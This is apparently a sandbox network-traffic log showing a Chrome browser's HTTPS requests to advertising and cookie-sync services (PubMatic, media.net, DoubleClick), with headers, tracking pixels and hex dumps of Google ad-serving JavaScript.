2024-05-23 22:35:11 UTC	2402	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:12 UTC	676	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_188=3189-12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&KRTB&23418-12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:12 GMT; path=/ Set-Cookie: PugT=1716503712; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:12 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.6	50417	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	988	OUT	GET /cksync.php?cs=8&vsid=3595052986404735000V10&type=con&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ&expiration=1716590106&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8
2024-05-23 22:35:12 UTC	657	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8;Expires=Thu, 22 May 2025 22:35:12 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:12 GMT Connection: close
2024-05-23 22:35:12 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:12 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.6	50418	3.121.157.160	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	725	OUT	GET /ul_cb/sync?ssp=medianet&ssp_user_id=3595052986404735000V10 HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=064dd624-3223-4a30-af5d-c38630257b17; c=1716503710; tuuid_lu=1716503710
2024-05-23 22:35:12 UTC	665	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Date: Thu, 23 May 2024 22:35:12 GMT Location: //contextual.media.net/cksync.php?type=mf&ovsid=064dd624-3223-4a30-af5d-c38630257b17&cs=1 Set-Cookie: tuuid=064dd624-3223-4a30-af5d-c38630257b17; path=/; expires=Fri, 23-May-2025 22:35:12 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1716503712; path=/; expires=Fri, 23-May-2025 22:35:12 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: ssh=!medianet=1716503712; path=/; expires=Fri, 23-May-2025 22:35:12 GMT; domain=.mfadsrvr.com; samesite=none; secure Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.6	50432	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	460	OUT	GET /xuid?mid=2319&xuid=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175&dongle=4430 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3476490108663385185440
2024-05-23 22:35:12 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:12 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:12 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:12 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.6	50217	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	1366	OUT	GET /pcs/view?xai=AKAOjstZ2u1_191UdjJP_GLlGEmKG1hcmWCtiQcjZVOGTffykygwwevvABotiqASngnsU_e6n7qfeliqmPAom_didRbdXBDw2zB_1x12a_J2bw1qDkaw36OO-TWxFrSTqvv3yeKdX470mC9MjUVYevr3ICDvNkQkyk3cqDIEe9i7BUt_dO1dZ28WG3FWoJVkflLUql7s92MTPznDUmXoVNdmtpKImD2h8xT6GUzmo-aMot7yG0Uj3xJj-J46lpG3ZeJGxDuIGwRHRds9V3PQ5GCUI4ORmgiOTrwXANMRfuBNFxfr53Jn_vzX0-DuwCdLSXKLCjCK9idMXn3TMXsVBNCNCQgccOoEUIJQAXmY5XOcOphJlMo3ly_VsUtp4FPSuufLHx2ceT48lBUIxBOehsCwqyFLFQ15hSD7&sai=AMfl-YSEpqAli0K110c9WUcrHt0C4t_7xWeVWdumpxjBERNRMM9DFUNggXIZjWhx7XskFkcyGlCyrF3bfVL7ZXqzl8psrc_BGmpJqp5fRs1DYlHkznwIgadYQEhSXo606ck&sig=Cg0ArKJSzJQGS89WIT8dEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:12 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 22:35:12 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.6	50429	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	2425	OUT	GET /gampad/ads?pvsid=296895992675461&correlator=3552593360320675&eid=31079956%2C31083928%2C31079525%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202405220101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp_sid=-1&iu_parts=22888152279%2Cus%2Caol%2Chp%2Cdt%2Cus_aol_hp_dt_top_center%2Cus_aol_hp_dt_mid_center%2Cus_aol_hp_dt_as_top_right_b%2Cus_aol_hp_dt_as_top_right_a&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8&prev_iu_szs=728x90%7C970x250%7C3x1%2C970x250%2C300x250%2C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1&eri=37&sc=1&cookie_enabled=1&abxe=1&dt=1716503701459&adxs=268%2C197%2C855%2C855&adys=0%2C1810%2C721%2C121&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0%7C1%7C0%7C0&ucis=1%7C2%7C3%7C4&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-240&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU [TRUNCATED] Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:13 UTC	863	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Observe-Browsing-Topics: ?1 Google-LineItem-Id: -2,6700431524,6700431524,6700431524 Google-Creative-Id: -2,138473725428,138473040890,138470143023 Google-MediationGroup-Id: -2,-2,-2,-2 Google-MediationTag-Id: -2 Date: Thu, 23 May 2024 22:35:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-23 22:35:13 UTC	527	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 61 6f 6c 2f 68 70 2f 64 74 2f 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 39 30 2c 37 32 38 2c 31 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 49 44 3d 39 30 31 64 61 66 31 64 61 35 31 35 39 34 31 62 3a 54 3d 31 37 31 36 35 30 33 37 31 32 3a 52 54 3d 31 37 31 36 35 30 33 37 31 32 3a 53 3d 41 4c 4e 49 5f 4d 5a 43 4b 6c 43 62 56 55 41 4a 69 49 77 61 55 48 56 51 31 4c 64 41 5a 38 45 79 77 77 22 2c 31 37 35 30 31 39 39 37 31 32 2c 22 2f 22 2c 22 61 6f 6c 2e 63 6f 6d 22 2c 31 5d 2c 5b 22 55 49 44 3d 30 30 30 30 30 65 32 39 39 61 33 66 63 65 30 66 3a 54 3d 31 37 Data Ascii: 8000{"/22888152279/us/aol/hp/dt/us_aol_hp_dt_top_center":["html",0,null,null,0,90,728,1,0,null,null,null,null,[["ID=901daf1da515941b:T=1716503712:RT=1716503712:S=ALNI_MZCKlCbVUAJiIwaUHVQ1LdAZ8Eyww",1750199712,"/","aol.com",1],["UID=00000e299a3fce0f:T=17
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 41 41 2d 56 34 71 4e 5f 51 4f 39 6c 78 6e 61 50 30 4d 6b 6b 67 38 4c 53 46 47 55 51 5f 61 52 78 74 6a 50 37 61 59 45 4c 4d 67 37 78 52 41 63 78 56 65 42 38 54 55 48 72 6c 4a 61 66 35 5f 63 55 53 58 69 4a 58 4d 62 6e 4d 75 4d 45 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 49 44 3d 33 37 39 36 31 31 62 64 64 38 35 38 62 31 36 63 3a 54 3d 31 37 31 36 35 30 33 37 31 32 3a 52 54 3d 31 37 31 36 35 30 Data Ascii: l,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qN_QO9lxnaP0Mkkg8LSFGUQ_aRxtjP7aYELMg7xRAcxVeB8TUHrlJaf5_cUSXiJXMbnMuME",null,null,null,null,null,null,[["ID=379611bdd858b16c:T=1716503712:RT=171650
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 64 69 63 6e 66 20 3d 20 7b 7d 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 6a 63 3d 22 34 32 22 20 64 61 74 61 2d 6a 63 2d 76 65 72 73 69 6f 6e 3d 22 72 32 30 32 34 30 35 32 32 22 20 64 61 74 61 2d 6a 63 2d 66 6c 61 67 73 3d 22 5b 26 71 75 6f 74 3b 78 25 32 37 38 34 34 36 26 23 33 39 3b 39 65 66 6f 74 6d 28 26 61 6d 70 3b 32 30 30 36 37 3b 26 67 74 3b 38 26 61 6d 70 3b 26 67 74 3b 60 64 6f 70 62 2f 25 26 6c 74 3b 31 37 33 32 32 36 31 21 3d 7c 76 71 63 29 21 37 32 30 31 30 36 31 3f 26 23 33 39 3b 39 65 66 6f 74 6d 28 26 61 6d 70 3b 32 30 37 32 33 3b 26 67 74 3b 3a 26 61 6d 70 3b 26 67 74 3b 60 64 6f 70 62 2f 25 26 6c 74 3b 31 32 34 35 3b 30 35 21 3d 6e 65 68 75 60 2f 21 Data Ascii: cript><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240522" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`/!
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 20 4a 28 61 2c 62 2c 63 29 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 7c 7c 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 64 3d 61 5b 47 5d 7c 30 3b 69 66 28 64 26 31 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 28 62 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 3f 62 2e 69 6e 63 6c 75 64 65 73 28 63 29 3a 62 2e 68 61 73 28 63 29 29 29 29 72 65 74 75 72 6e 21 31 3b 61 5b 47 5d 3d 64 7c 31 3b 72 65 74 75 72 6e 21 30 7d 63 6c 61 73 73 20 6c 61 7b 7d 63 6c 61 73 73 20 6d 61 7b 7d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 6e 65 77 20 6c 61 29 3b 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 6e 65 77 20 6d 61 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 69 66 28 22 62 6f 6f 6c 65 61 6e 22 21 3d 3d 74 79 Data Ascii: J(a,b,c){if(!Array.isArray(a)\|\|a.length)return!1;const d=a[G]\|0;if(d&1)return!0;if(!(b&&(Array.isArray(b)?b.includes(c):b.has(c))))return!1;a[G]=d\|1;return!0}class la{}class ma{}Object.freeze(new la);Object.freeze(new ma);function na(a){if("boolean"!==ty
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 74 20 66 2c 67 3d 62 3b 69 66 28 62 26 32 35 36 29 66 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 65 6c 73 65 7b 69 66 28 6e 75 6c 6c 3d 3d 64 29 72 65 74 75 72 6e 3b 66 3d 61 5b 65 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 7b 7d 3b 67 7c 3d 32 35 36 7d 66 5b 63 5d 3d 64 3b 63 3c 65 26 26 28 61 5b 63 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 76 6f 69 64 20 30 29 3b 67 21 3d 3d 62 26 26 28 61 5b 47 5d 3d 67 29 7d 65 6c 73 65 20 61 5b 63 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 64 2c 62 26 32 35 36 26 26 28 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 2c 63 20 69 6e 20 61 26 26 64 65 6c 65 74 65 20 61 5b 63 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 21 3d 63 26 26 22 73 74 72 69 6e 67 22 Data Ascii: t f,g=b;if(b&256)f=a[a.length-1];else{if(null==d)return;f=a[e+(+!!(b&512)-1)]={};g\|=256}f[c]=d;c<e&&(a[c+(+!!(b&512)-1)]=void 0);g!==b&&(a[G]=g)}else a[c+(+!!(b&512)-1)]=d,b&256&&(a=a[a.length-1],c in a&&delete a[c])}function N(a,b,c){if(null!=c&&"string"
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 3d 62 3b 74 68 69 73 2e 76 61 6c 75 65 54 79 70 65 3d 22 62 6f 6f 6c 65 61 6e 22 7d 7d 3b 76 61 72 20 76 61 3d 6e 65 77 20 50 28 22 34 35 33 36 38 32 35 39 22 29 2c 77 61 3d 6e 65 77 20 50 28 22 34 35 33 35 37 31 35 36 22 2c 21 30 29 2c 78 61 3d 6e 65 77 20 50 28 22 34 35 33 35 30 38 39 30 22 29 2c 79 61 3d 6e 65 77 20 50 28 22 34 35 34 31 34 38 39 32 22 29 2c 7a 61 3d 6e 65 77 20 50 28 22 34 35 36 32 30 38 33 32 22 29 3b 63 6f 6e 73 74 20 41 61 3d 52 65 67 45 78 70 28 22 61 64 5c 5c 5c 5c 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 5c 5c 5c 5c 2e 6e 65 74 2f 64 64 6d 2f 74 72 61 63 6b 69 6d 70 22 29 3b 76 61 72 20 51 3d 28 61 2c 62 29 3d 3e 22 26 61 64 75 72 6c 3d 22 3d 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 61 2e 6c 65 6e 67 74 68 2d 37 29 3f 61 2e 73 75 62 73 Data Ascii: =b;this.valueType="boolean"}};var va=new P("45368259"),wa=new P("45357156",!0),xa=new P("45350890"),ya=new P("45414892"),za=new P("45620832");const Aa=RegExp("ad\\\\.doubleclick\\\\.net/ddm/trackimp");var Q=(a,b)=>"&adurl="==a.substring(a.length-7)?a.subs
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 79 70 74 6f 29 72 65 74 75 72 6e 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 74 72 79 7b 63 6f 6e 73 74 20 61 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 3b 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 61 29 3b 72 65 74 75 72 6e 20 61 5b 30 5d 2f 36 35 35 33 36 2f 36 35 35 33 36 7d 63 61 74 63 68 7b 72 65 74 75 72 6e 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4e 61 28 61 2c 62 29 7b 69 66 28 61 29 66 6f 72 28 63 6f 6e 73 74 20 63 20 69 6e 20 61 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 63 29 26 26 62 28 61 5b 63 5d 2c 63 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 61 28 61 3d 64 Data Ascii: ypto)return Math.random();try{const a=new Uint32Array(1);globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch{return Math.random()}}function Na(a,b){if(a)for(const c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)}function Oa(a=d
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 72 28 61 2c 62 29 7b 74 68 69 73 2e 65 72 72 6f 72 3d 61 3b 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 62 2e 63 6f 6e 74 65 78 74 3b 74 68 69 73 2e 6d 73 67 3d 62 2e 6d 65 73 73 61 67 65 7c 7c 22 22 3b 74 68 69 73 2e 69 64 3d 62 2e 69 64 7c 7c 22 6a 73 65 72 72 6f 72 22 3b 74 68 69 73 2e 6d 65 74 61 3d 7b 7d 7d 7d 3b 63 6f 6e 73 74 20 58 61 3d 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3f 3a 2f 2f 28 5c 5c 5c 5c 77 7c 2d 29 2b 5c 5c 5c 5c 2e 63 64 6e 5c 5c 5c 5c 2e 61 6d 70 70 72 6f 6a 65 63 74 5c 5c 5c 5c 2e 28 6e 65 74 7c 6f 72 67 29 28 5c 5c 5c 5c 3f 7c 2f 7c 24 29 22 29 3b 76 61 72 20 59 61 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 69 3d 62 7d 7d 2c 5a 61 3d 63 6c 61 73 73 7b 63 6f 6e Data Ascii: r(a,b){this.error=a;this.context=b.context;this.msg=b.message\|\|"";this.id=b.id\|\|"jserror";this.meta={}}};const Xa=RegExp("^https?://(\\\\w\|-)+\\\\.cdn\\\\.ampproject\\\\.(net\|org)(\\\\?\|/\|$)");var Ya=class{constructor(a,b){this.g=a;this.i=b}},Za=class{con
